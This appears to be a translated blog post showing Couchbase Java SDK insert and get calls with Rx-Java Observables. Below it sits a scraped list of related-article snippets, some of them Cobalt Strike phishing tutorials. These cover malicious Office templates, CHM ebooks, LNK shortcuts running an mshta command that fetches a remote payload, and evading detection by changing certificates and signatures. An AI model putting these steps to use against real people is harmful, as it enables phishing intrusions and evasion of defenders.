具有Rx-Java的Couchbase Java SDK

关于Couchbase Java SDK的一件整洁的事情是,它建立在出色的Rx-Java库的基础上,这为与Couchbase服务器实例进行交互提供了一种反应性的方式,一旦掌握了它,它就非常直观。

考虑一个我打算存储在Couchbase中的非常简单的json文档:

{"key":"1","value":"one"}

和一个Java类来保存此json:

public class KeyVal {private String key;private String value;...
}

以下是将KeyVal实例插入Couchbase存储桶的代码:

JsonObject jsonObject = JsonObject.empty().put("key", keyVal.getKey()).put("value", keyVal.getValue());
JsonDocument doc = JsonDocument.create(keyVal.getKey(), jsonObject);
Observable<JsonDocument> obs = bucket.async().insert(doc);

插入的返回类型是Observable ,因此,如果需要将返回类型映射回KeyVal,则可以使用Observable类提供的广泛映射支持。

Observable<KeyVal> obs = bucket.async().insert(doc).map(jsonDoc -> new KeyVal(jsonDoc.id(), jsonDoc.content().getString("value")));

其他API遵循类似的模式,例如。 检索保存的文档:

bucket.async().get(id).map(doc ->new KeyVal(doc.id(),doc.content().getString("value")));
  • 如果您有兴趣进一步研究此示例,请参阅我的github存储库中的工作示例– https://github.com/bijukunjummen/sample-karyon2-couch

资源资源

  • Couchbase Java SDK :http://docs.couchbase.com/developer/java-2.1/java-intro.html
  • Rx-Java :https://github.com/ReactiveX/RxJava
  • Couchbase网站上提供了一篇关于Rx-Java的出色而简洁的文章 :http://docs.couchbase.com/developer/java-2.0/observables.html

翻译自: https://www.javacodegeeks.com/2015/09/couchbase-java-sdk-with-rx-java.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358234.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电脑win7支持的node.js版本

从官网看了都是最新的版本,我这电脑是win7的,最新版支持最低版本win8.1. 只能找一个支持win7、的node版本。 官网:https://nodejs.org/en/download/ 历史版本:https://nodejs.org/en/download/releases/ 建议打开图标下载,打开链接下载速度特别慢。 下载完成后直接傻瓜式安…

in-place数据交换

实现in-place的数据交换 声明&#xff1a;引用请注明出处http://blog.csdn.net/lg1259156776/ 经典的排序问题 问题描述 一个数组中包含两个已经排好序的子数组&#xff0c;设计一个in-place&#xff08;原位操作&#xff09;算法来对这个数组排序。测试数据为 a[] 1 4 5 7 8 …

Office-DOC加载宏-上线CS

原理 将直接加载远程带有宏的恶意模版使用。 缺点 目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github)&#xff0c;受害者可能在文件打开一半的时候强制关闭word。优点 因为是远程加载&#xff0c;所以免杀效果十分不错。基本不会…

防抖函数和节流函数的实现,这个是在某保险公司笔试题遇到的。

scroll 事件本身会触发页面的重新渲染,同时 scroll 事件的 handler 又会被高频度的触发, 因此事件的 handler 内部不应该有复杂操作,例如 DOM 操作就不应该放在事件处理中。 针对此类高频度触发事件问题(例如页面 scroll ,屏幕 resize,监听用户输入等),下面介绍两种常用…

电子书-CHM-上线CS

电子书-CHM-加载JS&PS-上线CS 1.对CS进行设置 服务端配置CS-客户端打开-攻击-钓鱼攻击-脚本web传递-配置选择监听器-设置端口-选择类型为power shell-点击开始-复制生成的利用代码 2.对当前.CHM电子书进行解压 进入文件后选择任意文件夹进入 3.这里演示&#xff1a;进入…

正则表达式常用符号所代表的含义

{n} n次 {1,3} 1~3次 {1,} 1到多次 1到多次 ? 0到一次 * 0到多次 ^ 匹配一行开始 $ 匹配一行结束 [abc] /[abc]/ 匹配"abc"中任意一…

发布单机端DELPHI程序访问MySQL必备文件

如图: 将你的DELPHI程序和midas.dlllibmysql.dllDbxmys.dll 放在同一目录下即可.转载于:https://www.cnblogs.com/smartlittleant/p/4838327.html

java java se_Java SE 7、8、9 –推动Java前进

java java se今天&#xff08;注&#xff1a;2011年10月4日&#xff09;是主题演讲日。 JavaOne Keynote将于今早从上午8:30到10:30进行&#xff0c;而我的新闻通行证又一次让我很早就参加了。 因此&#xff0c;我有时间在所有关键球员准备就绪并可能感到紧张的同时为其拍摄一些…

css中clear的作用是什么?

clear : none | left | right | both. 对于CSS的清除浮动(clear)&#xff0c;一定要牢记&#xff1a;这个规则只能影响使用清除的元素本身&#xff0c;不能影响其他元素。 清除浮动方法&#xff0c; 1&#xff0c;给父级元素添加class“clearflex” 2&#xff0c;在css中给父…

利用快捷方式-LNK-上线CS

步骤: 1、生成&#xff1a;Attacks -> Packages -> Html Application 2、上传&#xff1a;Attacks——>Web Drive by——>Host file 3、执行&#xff1a;C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext 4、伪装&#xff1a; -创建快捷方式 -生成HTA并…

基本算法研究1-冒泡排序算法测试

基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图&#xff0c;感觉比较形象&#xff1a; 冒泡排序&#xff08;Bubble Sort&#xff09;是一种简单的排序算法。默认是从小到大排序&#xff0c;即把最大的数据排在最后&#xff0c;相当于每次把最大数据…

当margin-top、padding-top的值是百分比时,分别是如何计算的?

CSS 百分比参照问题 参照父元素宽度的元素&#xff1a;padding margin width text-indent 参照父元素高度的元素&#xff1a;height 参照父元素属性:font-size line-height 特殊&#xff1a;相对定位的时候&#xff0c;top(bottom) left(right)参照的是父元素的内容区域的高度与…

CS-证书指纹修改

cobaltstrike.store是cobalt strike的证书文件&#xff0c;CS是java编写的&#xff0c;修改证书需要Java环境&#xff0c;搜索keytool,把证书复制到该目录进行操作&#xff0c;需要cmd以管理员权限才能生成成功。 证书默认密码&#xff1a;123456 查看证书指纹&#xff1a; key…

Java中的低延迟FIX引擎

总览 Chronicle FIX是我们的Low Latency FIX引擎和Java数据库。 是什么使它与众不同&#xff1f; 是为Java中的超低GC *设计的。 支持字符串和日期时间的方式可以最大程度地减少垃圾和开销。 可自定义为仅包含您期望的字段。 使用通常在二进制解析器和生成器中使用的优化&…

VIJOS1212 Way Selection

题意&#xff1a;有 r 个人并知道他们的坐标和他们的速度&#xff0c;有 a 个目的地也知道坐标&#xff0c;规定时间为 t&#xff0c;求能到达目的地的最多人数(当然一个目的地只能被一个人占领)。 题解&#xff1a;核心算法 -> 匈牙利算法 CODE&#xff1a; /* Author: JDD…

钓鱼文件名反转office远程模板

本文内容涉及程序/技术原理可能带有攻击性&#xff0c;仅用于安全研究和教学使用&#xff0c;务必在模拟环境下进行实验&#xff0c;请勿将其用于其他用途。因此造成的后果自行承担&#xff0c;如有违反国家法律则自行承担全部法律责任&#xff0c;与作者及分享者无关 0x01 件…

hihoCoder 1092 : Have Lunch Together

题目大意&#xff1a;小hi和小ho去咖啡厅喝咖啡&#xff0c;咖啡厅可以看作是n * m的矩阵&#xff0c;每个点要么为空&#xff0c;要么被人、障碍物、椅子所占据&#xff0c;小hi和小ho想要找两个相邻的椅子。起初两个人都在同一个点&#xff0c;求两人到达满足要求的椅子所移动…

html5测试题整理--针对标签的概念性

1.哪个元素被称为媒体元素的子元素&#xff1f; 答案&#xff1a;<track>。 <track> 标签为媒体元素&#xff08;比如 <audio> and <video>&#xff09;规定外部文本轨道。这个元素用于规定字幕文件或其他包含文本的文件&#xff0c;当媒体播放时&am…

Cobalt Strike特征修改

在红蓝对抗以及hvv等等情况下&#xff0c;我们都会用到 Cobalt Strike&#xff0c;那么它也是安全公司重点关注的对象&#xff0c;跟msf类似&#xff0c;但CS操作相对比MSF使用简单&#xff0c;同时也有一个强大的插件库。那么&#xff0c;这么红的工具&#xff0c;特征方面安全…

通用编程准则

本文是我们名为“ 高级Java ”的学院课程的一部分。 本课程旨在帮助您最有效地使用Java。 它讨论了高级主题&#xff0c;包括对象创建&#xff0c;并发&#xff0c;序列化&#xff0c;反射等。 它将指导您完成Java掌握的过程&#xff01; 在这里查看 &#xff01; 目录 1.简…